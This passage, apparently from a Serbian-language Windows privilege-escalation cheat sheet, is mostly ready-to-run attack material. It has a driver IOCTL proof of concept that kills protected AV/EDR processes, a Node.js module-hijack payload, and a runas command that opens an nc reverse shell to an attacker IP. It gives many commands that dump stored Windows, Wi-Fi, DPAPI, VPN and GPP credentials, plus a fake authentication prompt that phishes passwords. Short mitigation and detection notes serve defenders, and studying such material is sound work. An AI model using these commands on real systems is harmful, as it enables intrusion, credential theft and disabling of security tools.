  • Neograničen raw disk read/write (offline tampering, boot-time persistence trikovi).
  • Ubijanje proizvoljnih procesa, uključujući Protected Process/Light (PP/PPL), što omogućava AV/EDR kill iz user land preko kernel-a.

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Ublažavanja za developere

  • Uvek postavite FILE_DEVICE_SECURE_OPEN kada kreirate device objects namenjene da budu ograničeni DACL-om.
  • Validirajte caller context za privilegovane operacije. Dodajte PP/PPL provere pre nego što dozvolite termination procesa ili vraćanje handle-ova.
  • Ograničite IOCTLs (access masks, METHOD_*, validaciju inputa) i razmotrite brokered modele umesto direktnih kernel privilegija.

Ideje za detekciju za defendere

  • Pratite user-mode otvaranja sumnjivih imena device-a (npr. \ .\amsdk*) i specifične IOCTL nizove koji ukazuju na abuse.
  • Primenite Microsoft-ovu vulnerable driver blocklist (HVCI/WDAC/Smart App Control) i održavajte sopstvene allow/deny liste.

PATH DLL Hijacking

Ako imate write permissions unutar foldera koji se nalazi na PATH možete moći da hijack-ujete DLL koji učitava proces i da eskalirate privilegije.

Proverite permissions svih foldera unutar PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Za više informacija o tome kako da abuse-ujete ovu proveru:

Writable Sys Path +Dll Hijacking Privesc

Node.js / Electron hijacking rezolucije modula preko C:\node_modules

Ovo je varijanta Windows uncontrolled search path koja utiče na Node.js i Electron aplikacije kada izvrše bare import kao što je require("foo") i očekivani modul nedostaje.

Node rešava pakete tako što ide uz hijerarhiju direktorijuma i proverava node_modules foldere u svakom parent direktorijumu. Na Windows-u, to pretraživanje može da stigne do root-a diska, pa aplikacija pokrenuta iz C:\Users\Administrator\project\app.js može na kraju da proverava:

  1. C:\Users\Administrator\project\node_modules\foo
  2. C:\Users\Administrator\node_modules\foo
  3. C:\Users\node_modules\foo
  4. C:\node_modules\foo

Ako low-privileged user može da kreira C:\node_modules, može da postavi maliciozni foo.js (ili folder paketa) i da sačeka da higher-privileged Node/Electron process reši nedostajuću zavisnost. Payload se izvršava u security context-u žrtvinog procesa, tako da ovo postaje LPE kad god target radi kao administrator, iz elevated scheduled task/service wrapper-a, ili iz auto-startovanog privileged desktop app-a.

Ovo je naročito često kada:

  • je zavisnost navedena u optionalDependencies
  • third-party library umotava require("foo") u try/catch i nastavlja nakon greške
  • je paket uklonjen iz production build-ova, izostavljen tokom packaging-a ili nije uspeo da se instalira
  • ranjivi require() se nalazi duboko u dependency tree-ju umesto u glavnom application code-u

Lov na ranjive targete

Koristite Procmon da dokažete resolution path:

  • Filter by Process Name = target executable (node.exe, Electron app EXE, ili wrapper process)
  • Filter by Path contains node_modules
  • Fokusirajte se na NAME NOT FOUND i konačno uspešno otvaranje pod C:\node_modules

Korisni code-review obrasci u raspakovanim .asar fajlovima ili application source-u:

rg -n 'require\\("[^./]' .
rg -n "require\\('[^./]" .
rg -n 'optionalDependencies' .
rg -n 'try[[:space:]]*\\{[[:space:][:print:]]*require\\(' .

Eksploatacija

  1. Identifikuj ime paketa koje nedostaje pomoću Procmon-a ili pregleda izvornog koda.
  2. Napravi root lookup direktorijum ako već ne postoji:
mkdir C:\node_modules
  1. Ubaci modul sa tačno očekivanim imenom:
// C:\node_modules\foo.js
require("child_process").exec("calc.exe")
module.exports = {}
  1. Pokreni aplikaciju žrtve. Ako aplikacija pokuša require("foo") i legitimni modul nedostaje, Node može učitati C:\node_modules\foo.js.

Primeri iz prakse za nedostajuće opcionalne module koji odgovaraju ovom obrascu uključuju bluebird i utf-8-validate, ali tehnika je ono što se može ponovo koristiti: pronađi bilo koji missing bare import koji će privilegovani Windows Node/Electron proces rešiti.

Ideje za detekciju i hardening

  • Alarmiraj kada korisnik kreira C:\node_modules ili tamo upisuje nove .js fajlove/pakete.
  • Traži high-integrity procese koji čitaju iz C:\node_modules\*.
  • Upakuj sve runtime dependency-je u production i proveri upotrebu optionalDependencies.
  • Pregledaj code trećih strana zbog tihih try { require("...") } catch {} obrazaca.
  • Onemogući optional probe kada ih biblioteka podržava (na primer, neke ws deployment-ove možeš izbeći legacy utf-8-validate probe sa WS_NO_UTF_8_VALIDATE=1).

Network

Shares

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Proverite da li postoje drugi poznati računari hardkodovani u hosts fajlu

type C:\Windows\System32\drivers\etc\hosts

Mrežni interfejsi & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Otvoreni portovi

Proverite restricted services spolja

netstat -ano #Opened ports?

Tabela rutiranja

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP tabela

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Pravila firewall-a

Proverite ovu stranicu za komande vezane za Firewall (list rules, create rules, turn off, turn off…)

Više komandi za mrežno enumerisanje ovde

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exe se takođe može pronaći u C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Ako dobijete root korisnika, možete da slušate na bilo kom portu (prvi put kada koristite nc.exe da slušate na portu, preko GUI će pitati da li firewall treba da dozvoli nc).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Da biste lako pokrenuli bash kao root, možete probati --default-user root

Možete istražiti WSL filesystem u fascikli C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows Credentials

Winlogon Credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault čuva korisničke credentials za servere, sajtove i druge programe u koje Windows može da se automatski prijavi korisnika. Na prvi pogled, ovo može izgledati kao da korisnici sada mogu da čuvaju svoje Facebook credentials, Twitter credentials, Gmail credentials itd., tako da se automatski prijavljuju preko browsera. Ali nije tako.

Windows Vault čuva credentials koje Windows može automatski da koristi za prijavu korisnika, što znači da bilo koja Windows aplikacija kojoj trebaju credentials za pristup resursu (serveru ili sajtu) može da koristi ovaj Credential Manager i Windows Vault i da upotrebi dostavljene credentials umesto da korisnici stalno unose username i password.

Osim ako aplikacije ne komuniciraju sa Credential Manager, ne mislim da je moguće da koriste credentials za dati resurs. Dakle, ako vaša aplikacija želi da koristi vault, trebalo bi nekako da komunicira sa credential manager i zatraži credentials za taj resurs iz podrazumevanog storage vault.

Koristite cmdkey da biste izlistali sačuvane credentials na mašini.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Zatim možete koristiti runas sa opcijama /savecred da biste koristili sačuvane kredencijale. Sledeći primer poziva udaljeni binarni fajl preko SMB share.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Korišćenje runas sa datim skupom kredencijala.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.

DPAPI

Data Protection API (DPAPI) obezbeđuje metod za simetričnu enkripciju podataka, koji se pretežno koristi unutar Windows operativnog sistema za simetričnu enkripciju asimetričnih privatnih ključeva. Ova enkripcija koristi korisnički ili sistemski secret kako bi značajno doprinela entropiji.

DPAPI omogućava enkripciju ključeva preko simetričnog ključa koji je izveden iz korisnikovih login secrets. U scenarijima koji uključuju sistemsku enkripciju, koristi sistemske domain authentication secrets.

Enkriptovani korisnički RSA ključevi, koristeći DPAPI, čuvaju se u direktorijumu %APPDATA%\Microsoft\Protect\{SID}, gde {SID} predstavlja korisnikov Security Identifier. DPAPI ključ, koji se nalazi zajedno sa master key-em koji štiti korisnikove privatne ključeve u istoj datoteci, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, pa se njegov sadržaj ne može izlistati pomoću komande dir u CMD, iako se može izlistati kroz PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Možete koristiti mimikatz module dpapi::masterkey sa odgovarajućim argumentima (/pvk ili /rpc) da ga dešifrujete.

credentials files protected by the master password se obično nalaze u:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Možete da koristite mimikatz module dpapi::cred sa odgovarajućim /masterkey za dešifrovanje.
Možete da izvučete mnogo DPAPI masterkeys iz memorije pomoću sekurlsa::dpapi modula (ako ste root).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials se često koriste za scripting i automation zadatke kao način da se praktično čuvaju šifrovani credentials. Credentials su zaštićeni pomoću DPAPI, što obično znači da mogu da ih dešifruju samo isti user na istom računaru na kojem su kreirani.

Da biste dešifrovali PS credentials iz fajla koji ih sadrži, možete da uradite:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Sačuvane RDP konekcije

Možete ih pronaći u HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
i u HKCU\Software\Microsoft\Terminal Server Client\Servers\

Nedavno pokretane komande

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Remote Desktop Credential Manager

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Koristite Mimikatz dpapi::rdg modul sa odgovarajućim /masterkey da biste dešifrovali bilo koje .rdg fajlove
Možete izvući mnoge DPAPI masterkeys iz memorije pomoću Mimikatz sekurlsa::dpapi modula

Sticky Notes

Ljudi često koriste StickyNotes aplikaciju na Windows radnim stanicama da bi sačuvali lozinke i druge informacije, ne shvatajući da je to database fajl. Ovaj fajl se nalazi na C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite i uvek ga vredi pretražiti i pregledati.

AppCmd.exe

Imajte na umu da za oporavak lozinki iz AppCmd.exe morate biti Administrator i pokrenuti ga pod High Integrity nivoom.
AppCmd.exe se nalazi u direktorijumu %systemroot%\system32\inetsrv\.
Ako ovaj fajl postoji, moguće je da su neke credentials konfigurisane i mogu biti recovered.

Ovaj kod je izdvojen iz PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Proverite da li C:\Windows\CCM\SCClient.exe postoji .
Instaleri se pokreću sa SYSTEM privilegijama, mnogi su ranjivi na DLL Sideloading (Info from https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Datoteke i Registry (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Host Keys

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH ključevi u registru

SSH privatni ključevi mogu biti sačuvani unutar registracionog ključa HKCU\Software\OpenSSH\Agent\Keys, pa bi trebalo da proveriš da li se tamo nalazi nešto interesantno:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Ako pronađete bilo koji unos unutar te putanje, verovatno je to sačuvani SSH key. Čuva se šifrovano, ali se može lako dešifrovati pomoću https://github.com/ropnop/windows_sshagent_extract.
Više informacija o ovoj tehnici ovde: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Ako ssh-agent service nije pokrenut i želite da se automatski pokrene pri boot-u, pokrenite:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Izgleda da ova tehnika više nije validna. Pokušao sam da napravim neke ssh ključeve, dodam ih sa ssh-add i prijavim se preko ssh na mašinu. Registry HKCU\Software\OpenSSH\Agent\Keys ne postoji i procmon nije identifikovao korišćenje dpapi.dll tokom asymmetric key autentikacije.

Unattended files

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Možete takođe da tražite ove fajlove pomoću metasploit: post/windows/gather/enum_unattend

Primer sadržaja:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM backup-ovi

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Cloud Credentials

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Potražite fajl pod nazivom SiteList.xml

Cached GPP Pasword

Ranije je bila dostupna funkcija koja je omogućavala postavljanje prilagođenih lokalnih administratorskih naloga na grupu mašina putem Group Policy Preferences (GPP). Međutim, ovaj metod je imao ozbiljne bezbednosne propuste. Prvo, Group Policy Objects (GPOs), čuvani kao XML fajlovi u SYSVOL, mogli su da budu dostupni bilo kom domain korisniku. Drugo, lozinke unutar tih GPPs, šifrovane AES256 pomoću javno dokumentovanog podrazumevanog ključa, mogao je da dešifruje bilo koji autentifikovani korisnik. Ovo je predstavljalo ozbiljan rizik, jer je moglo da omogući korisnicima da steknu povišene privilegije.

Da bi se ublažio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP fajlove koji sadrže polje “cpassword” koje nije prazno. Kada se takav fajl pronađe, funkcija dešifruje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat uključuje detalje o GPP-u i lokaciji fajla, pomažući u identifikaciji i otklanjanju ove bezbednosne ranjivosti.

Potražite u C:\ProgramData\Microsoft\Group Policy\history ili u C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (pre W Vista) ove fajlove:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Za dekriptovanje cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Korišćenje crackmapexec za dobijanje lozinki:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
type C:\Windows\Microsoft.NET\Framework644.0.30319\Config\web.config | findstr connectionString
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Primer web.config sa kredencijalima:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN kredencijali

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logovi

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Zatraži credentials

Uvek možeš zamoliti korisnika da unese svoje credentials ili čak credentials nekog drugog korisnika ako misliš da ih može znati (imaj na umu da je direktno traženje od klijenta za credentials zaista rizično):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Mogući nazivi fajlova koji sadrže kredencijale

Poznati fajlovi koji su nekada sadržali lozinke u plain text ili Base64 formatu

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Potraži sve predložene fajlove:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Kredencijali u RecycleBin

Takođe bi trebalo da proveriš Bin da bi u njemu potražio kredencijale

Za oporavak lozinki sačuvanih od strane više programa možeš da koristiš: http://www.nirsoft.net/password_recovery_tools.html

Unutar registra

Drugi mogući registry ključevi sa kredencijalima

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Browsers History

Treba da proveriš dbs gde su sačuvane lozinke iz Chrome ili Firefox.
Takođe proveri istoriju, obeleživače i favorite browsera, jer je moguće da su neke passwords are tamo sačuvane.

Alati za ekstrakciju lozinki iz browsera:

COM DLL Overwriting

Component Object Model (COM) je tehnologija ugrađena u Windows operativni sistem koja omogućava intercommunication između softverskih komponenti različitih jezika. Svaka COM komponenta je identifikovana preko class ID (CLSID) i svaka komponenta izlaže funkcionalnost preko jedne ili više interfejsa, identifikovanih preko interface ID (IIDs).

COM klase i interfejsi su definisani u registru pod HKEY\CLASSES\ROOT\CLSID i HKEY\CLASSES\ROOT\Interface respektivno. Ovaj registar se kreira spajanjem HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Unutar CLSID-ova ovog registra možeš da pronađeš child registry InProcServer32 koji sadrži default value koja pokazuje na DLL i vrednost zvanu ThreadingModel koja može biti Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) ili Neutral (Thread Neutral).

U suštini, ako možeš da overwrite any of the DLLs koje će biti izvršene, mogao bi da escalate privileges ako će tu DLL izvršavati drugi korisnik.

Da bi saznao kako napadači koriste COM Hijacking kao mehanizam za persistence, pogledaj:

COM Hijacking

Generic Password search in files and registry

Search for file contents

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Pretraži fajl sa određenim imenom

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Pretraži registry za nazive ključeva i lozinke

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Alati koji traže lozinke

MSF-Credentials Plugin is a msf plugin koji sam napravio; ovaj plugin automatski izvršava svaki metasploit POST modul koji traži credentials unutar žrtve.
Winpeas automatski traži sve fajlove koji sadrže passwords pomenute na ovoj strani.
Lazagne je još jedan odličan alat za ekstrakciju passworda iz sistema.

Alat SessionGopher traži sessions, usernames i passwords za nekoliko alata koji čuvaju ove podatke u clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, i RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Zamislite da proces pokrenut kao SYSTEM otvori novi proces (OpenProcess()) sa punim pristupom. Isti proces takođe kreira novi proces (CreateProcess()) sa niskim privilegijama, ali nasleđujući sve otvorene handle-ove glavnog procesa.
Zatim, ako imate pun pristup procesu sa niskim privilegijama, možete preuzeti otvoreni handle ka privilegovanom procesu kreiranom sa OpenProcess() i ubaciti shellcode.
Pročitajte ovaj primer za više informacija o tome kako da detektujete i iskoristite ovu ranjivost.
Pročitajte i ovaj drugi post za potpunije objašnjenje kako da testirate i zloupotrebite više otvorenih handle-ova procesa i thread-ova nasleđenih sa različitim nivoima dozvola (ne samo pun pristup).

Named Pipe Client Impersonation

Deljeni memorijski segmenti, poznati kao pipes, omogućavaju komunikaciju između procesa i prenos podataka.

Windows pruža funkciju pod nazivom Named Pipes, koja omogućava nepovezanim procesima da dele podatke, čak i preko različitih mreža. Ovo liči na client/server arhitekturu, sa ulogama definisanim kao named pipe server i named pipe client.

Kada client šalje podatke kroz pipe, server koji je podesio pipe može da preuzme identitet tog client-a, pod uslovom da ima potrebna SeImpersonate prava. Identifikovanje privilegovano procesa koji komunicira preko pipe-a koji možete da oponašate pruža priliku da steknete više privilegije tako što ćete usvojiti identitet tog procesa kada on stupi u interakciju sa pipe-om koji ste vi postavili. Za uputstva o izvođenju takvog napada, korisni vodiči se mogu naći ovde i ovde.

